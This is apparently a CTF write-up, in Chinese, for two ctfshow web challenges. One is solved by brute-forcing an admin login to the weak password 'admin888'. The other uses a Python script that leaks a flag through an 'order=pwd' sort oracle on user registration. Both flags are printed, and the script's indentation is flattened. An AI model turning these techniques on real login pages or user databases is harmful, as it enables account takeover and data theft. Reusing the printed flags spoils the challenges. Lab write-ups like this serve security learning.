一、萌新专属红包题 wp
登录页面admin弱口令爆破,得到密码admin888
抓包用admin admin888发送,响应包拿到base64字符串,解密后得到flag

flag:ctfshow{b6223271-03a9-4e22-84db-9edae779967f}
二、ctfshow web1 wp
参考文章:ctf.show
2.1 信息收集
网页登录注册页面正常流程,登录后order参数可能存在sql注入
dirsearch扫描目录,www.zip,访问得到源码

2.2 代码分析
index.php 前端页面
login.php 后端登录,可以发现参数被严格过滤,sql注入基本没可能了

reg.php 注册页面,传入四个参数插入user表中,这里也被严格过滤了

user_main.php 登入后的用户信息回显,校验cookie的Session是否存在,order参数决定通过哪个参数升序回显

2.3 思路
当order=pwd时,页面排序密码回显,构造flag通过回显情况一个一个暴力破解出来
脚本:
import requests as r
from requests.packages import urllib3; urllib3.disable_warnings()
# verify=False 跳过HTTPS证书验证,会触发InsecureRequestWarning,urllib3方法就是把这个警告压掉
url_reg = 'https://f13931ef-c0c9-4b31-9005-60dd5a1df727.challenge.ctf.show/reg.php'
url_user = 'https://f13931ef-c0c9-4b31-9005-60dd5a1df727.challenge.ctf.show/user_main.php'
chars = '-0123456789abcdefghijklmnopqrstuvwxyz}~'
cookie = {'PHPSESSID': 'ed5dab00bfafe4bcd3da915c3de2d733'} # 先手动注册一个用户,获取cookie,用于登录查看排序结果。
def check(flag):
with r.Session() as s:
for i in range(len(chars)):
char = chars[i]
data = {
'username': flag + char,
'password': flag + char,
'email': 'email',
'nickname': 'nickname',
}
s.post(url_reg, data=data, verify=False)
resp_user = s.get(url_user, params={'order': 'pwd'}, verify=False, cookies=cookie)
if resp_user.text.find(data['username']) > resp_user.text.find('flag'):
return chars[i-1]
flag = 'ctfshow{'
while flag[-1] != '}':
flag =flag + check(flag)
print(flag)
else:
exit()
结果如下,因为flag=flag的时候,}不会被拼接,所以手动拼接即可

flag:ctfshow{bec80ad1-cf46-4b07-9f09-ff35f88af48bz}

1万+

被折叠的 条评论
为什么被折叠?



